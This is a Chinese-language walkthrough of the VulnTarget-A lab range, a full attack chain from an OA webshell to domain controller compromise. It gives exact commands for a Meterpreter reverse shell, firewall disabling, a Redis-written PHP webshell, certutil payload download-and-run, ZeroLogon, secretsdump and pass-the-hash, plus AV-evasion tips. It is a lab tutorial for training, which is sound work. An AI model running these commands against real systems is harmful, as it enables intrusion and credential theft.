VulnTarget-A 靶场渗透测试教学文档

靶场概述

VulnTarget-A 是一个模拟企业内网环境的渗透测试靶场，包含三台 Windows 主机：

• 外网 Web 服务器 (192.168.36.128) - 运行通达 OA 系统
• 内网 Win7 主机 (10.0.20.99) - 运行 PHPStudy 环境
• 域控制器 Win2019 (10.0.10.110) - 域名为 vulntarget.com

第一阶段：外网渗透

1. 信息收集

• 访问外网 Web 服务：http://192.168.36.128/
• 识别为通达 OA 系统
• 使用蚁剑连接获取 WebShell

2. 权限提升

• 确认当前权限为 SYSTEM
• 检查系统信息：

  ipconfig /all
  tasklist /svc
  

• 确认无杀毒软件运行

3. 建立持久访问

• 生成 MSF 木马并上传
• 设置 MSF 监听：

  msfconsole
  use exploit/multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST <your_ip>
  set LPORT <your_port>
  exploit
  

• 通过蚁剑执行木马获取 Meterpreter 会话

4. 网络探测

• 发现双网卡配置：
  • 外网：192.168.36.128
  • 内网：10.0.20.0/24
• 关闭防火墙便于后续操作：

  netsh advfirewall set allprofiles state off
  netsh firewall set opmode mode=disable
  

• 检查防火墙状态：

  netsh advfirewall show allprofiles
  

第二阶段：内网横向移动

1. 路由配置

• 添加 MSF 路由：

  run autoroute -s 10.0.20.0/24
  

2. 端口扫描

• 使用 MSF 模块扫描内网主机：

  use auxiliary/scanner/portscan/tcp
  set RHOSTS 10.0.20.99
  set PORTS 80,6379
  run
  

• 发现开放端口：
  • 80 (HTTP)
  • 6379 (Redis)

3. 建立代理隧道

• 设置 MSF socks 代理：

  use auxiliary/server/socks_proxy
  set SRVPORT 1080
  run
  

• 配置浏览器使用代理 (127.0.0.1:1080)

4. Web 服务探测

• 访问 10.0.20.99:80
• 识别为 PHPStudy 5.4.45
• 尝试 PHPStudy 后门漏洞未果
• 目录扫描发现 phpinfo.php

5. Redis 未授权访问利用

• 连接 Redis：

  redis-cli -h 10.0.20.99 -p 6379
  

• 写入 WebShell：

  config set dir C:/phpStudy/PHPTutorial/WWW
  config set dbfilename shell.php
  set x "\n\n\n<?php @system($_GET['cmd']);?>\n\n\n"
  save
  

• 通过 WebShell 执行命令：

  http://10.0.20.99/shell.php?cmd=whoami
  

6. 获取 Win7 主机权限

• 生成免杀木马
• 通过 WebShell 下载执行：

  certutil -urlcache -split -f http://<your_server>/payload.exe payload.exe
  payload.exe
  

• 获取 Meterpreter 会话

第三阶段：域渗透

1. 域环境探测

• 检查域信息：

  net config workstation
  net group "domain controllers" /domain
  

• 发现域控制器：win2019.vulntarget.com (10.0.10.110)

2. 添加新路由

• 添加域网段路由：

  run autoroute -s 10.0.10.0/24
  

3. 域控漏洞利用 (CVE-2020-1472)

• 检测漏洞存在：

  proxychains4 python3 cve-2020-1472-exploit.py win2019 10.0.10.110
  

• 利用漏洞重置域控密码：

  proxychains4 python3 cve-2020-1472-exploit.py win2019 10.0.10.110
  

• 导出域控凭据：

  proxychains4 python3 secretsdump.py vulntarget.com/win2019\$@10.0.10.110 -no-pass
  

  获取 NTLM hash：

  Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
  

4. 哈希传递攻击

• 使用 wmiexec.py 进行哈希传递：

  proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget.com/Administrator@10.0.10.110
  

5. 获取域控持久访问

• 生成免杀木马
• 通过 Win7 的 Web 服务上传
• 在域控上下载执行：

  certutil -urlcache -split -f http://10.0.20.99/payload.exe payload.exe
  payload.exe
  

注意事项

1. 渗透测试前务必获得授权
2. 测试完成后需要还原域控密码
3. 实际环境中需注意杀软规避
4. Windows Defender 可能拦截未做免杀处理的 payload

工具清单

• 蚁剑 (AntSword)
• Metasploit Framework
• Redis-cli
• Proxychains
• Impacket 工具包 (secretsdump.py, wmiexec.py)
• CVE-2020-1472 漏洞利用脚本
• Nbtscan (用于内网主机发现)